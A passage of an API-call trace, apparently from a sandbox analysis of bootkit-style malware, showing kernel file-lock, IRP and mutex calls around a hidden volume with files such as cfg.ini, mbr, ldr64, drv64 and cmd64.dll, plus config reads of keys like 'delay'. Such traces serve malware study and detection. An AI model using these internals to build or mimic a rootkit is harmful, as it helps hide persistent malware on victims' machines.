_Dest="0d24eb7c\\cfg.ini") returned 16 [0125.462] KeEnterCriticalRegion () [0125.462] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.462] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.462] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.462] KeLeaveCriticalRegion () [0125.462] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.462] KeEnterCriticalRegion () [0125.462] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.462] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.462] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.462] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.462] KeLeaveCriticalRegion () [0125.462] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.462] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.462] KeEnterCriticalRegion () [0125.462] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.462] ExFreePoolWithTag (P=0xfffffa8003bf74c0, Tag=0x0) [0125.462] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.462] KeLeaveCriticalRegion () [0125.462] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.462] ReleaseMutex (hMutex=0xf0) returned 1 [0125.462] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.462] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.462] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.462] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.462] KeEnterCriticalRegion () [0125.462] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.462] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.462] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.462] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.462] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.462] IdePortDispatch () returned 0x103 [0125.462] KeWaitForMutexObject () returned 0x0 [0125.462] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.463] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.463] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.463] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.463] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.463] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.463] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.463] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.463] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.463] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.463] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.463] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.463] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.463] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.463] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.463] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.463] KeLeaveCriticalRegion () [0125.463] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.463] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.463] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.463] KeEnterCriticalRegion () [0125.463] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.463] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.463] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.463] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.463] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.463] IdePortDispatch () returned 0x103 [0125.463] KeWaitForMutexObject () returned 0x0 [0125.463] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.463] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.463] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.463] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.463] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.463] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.463] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.463] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.463] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.463] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.463] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.463] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.463] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.463] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.463] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.464] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.464] KeLeaveCriticalRegion () [0125.464] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.464] ReleaseMutex (hMutex=0x100) returned 1 [0125.464] Sleep (dwMilliseconds=0x2bf20) [0125.471] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6dfb6af0, dwHighDateTime=0x1d24fa4)) [0125.471] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.471] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.471] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.471] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.471] KeEnterCriticalRegion () [0125.471] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.471] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.471] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.471] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.471] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.471] IdePortDispatch () returned 0x103 [0125.471] KeWaitForMutexObject () returned 0x0 [0125.471] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.471] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.471] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.471] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.471] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.471] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7170 [0125.471] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.471] KeLeaveCriticalRegion () [0125.471] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.472] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.472] KeEnterCriticalRegion () [0125.472] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.472] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.472] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.472] KeLeaveCriticalRegion () [0125.472] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.472] KeEnterCriticalRegion () [0125.472] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.472] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.472] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.472] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.472] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.472] IdePortDispatch () returned 0x103 [0125.472] KeWaitForMutexObject () returned 0x0 [0125.472] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.472] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.472] KeLeaveCriticalRegion () [0125.472] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.472] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.472] KeEnterCriticalRegion () [0125.472] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.472] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c5c000 [0125.472] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.472] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.472] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.472] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.472] IdePortDispatch () returned 0x103 [0125.472] KeWaitForMutexObject () returned 0x0 [0125.472] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.473] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.473] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.473] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.473] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.473] IdePortDispatch () returned 0x103 [0125.473] KeWaitForMutexObject () returned 0x0 [0125.473] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.473] KeLeaveCriticalRegion () [0125.473] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.473] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.473] KeEnterCriticalRegion () [0125.473] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.473] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.473] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.473] KeLeaveCriticalRegion () [0125.473] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.473] KeEnterCriticalRegion () [0125.473] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.473] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.473] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.473] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.473] KeLeaveCriticalRegion () [0125.473] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.474] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.474] KeEnterCriticalRegion () [0125.474] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.474] ExFreePoolWithTag (P=0xfffffa8003bf7170, Tag=0x0) [0125.474] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.474] KeLeaveCriticalRegion () [0125.474] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.474] ReleaseMutex (hMutex=0xf0) returned 1 [0125.474] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.474] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.474] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.474] KeEnterCriticalRegion () [0125.474] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.474] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.474] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.474] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.474] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.474] IdePortDispatch () returned 0x103 [0125.474] KeWaitForMutexObject () returned 0x0 [0125.474] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.474] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.474] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.474] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.474] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.474] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7010 [0125.474] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.474] KeLeaveCriticalRegion () [0125.474] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.474] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.474] KeEnterCriticalRegion () [0125.474] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.474] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.474] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.474] KeLeaveCriticalRegion () [0125.474] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.474] KeEnterCriticalRegion () [0125.474] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.475] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.475] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.475] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.475] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.475] IdePortDispatch () returned 0x103 [0125.475] KeWaitForMutexObject () returned 0x0 [0125.475] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.475] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.475] KeLeaveCriticalRegion () [0125.475] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.475] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.475] KeEnterCriticalRegion () [0125.475] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.475] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c5d000 [0125.475] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.475] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.475] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.475] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.475] IdePortDispatch () returned 0x103 [0125.475] KeWaitForMutexObject () returned 0x0 [0125.475] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.475] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.475] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.475] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.475] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.475] IdePortDispatch () returned 0x103 [0125.476] KeWaitForMutexObject () returned 0x0 [0125.476] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.476] KeLeaveCriticalRegion () [0125.476] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.476] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.476] KeEnterCriticalRegion () [0125.476] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.476] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.476] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.476] KeLeaveCriticalRegion () [0125.476] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.476] KeEnterCriticalRegion () [0125.476] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.476] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.476] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.476] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.476] KeLeaveCriticalRegion () [0125.476] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.476] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.476] KeEnterCriticalRegion () [0125.476] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.476] ExFreePoolWithTag (P=0xfffffa8003bf7010, Tag=0x0) [0125.476] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.476] KeLeaveCriticalRegion () [0125.476] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.476] ReleaseMutex (hMutex=0xf0) returned 1 [0125.477] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.477] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.477] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.477] KeEnterCriticalRegion () [0125.477] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.477] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.477] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.477] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.477] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.477] IdePortDispatch () returned 0x103 [0125.477] KeWaitForMutexObject () returned 0x0 [0125.477] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.477] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.477] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.477] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.477] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.477] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7270 [0125.477] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.477] KeLeaveCriticalRegion () [0125.477] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.477] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.477] KeEnterCriticalRegion () [0125.477] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.477] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.477] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.477] KeLeaveCriticalRegion () [0125.477] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.477] KeEnterCriticalRegion () [0125.477] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.477] IoAllocateIrp (StackSize=1, 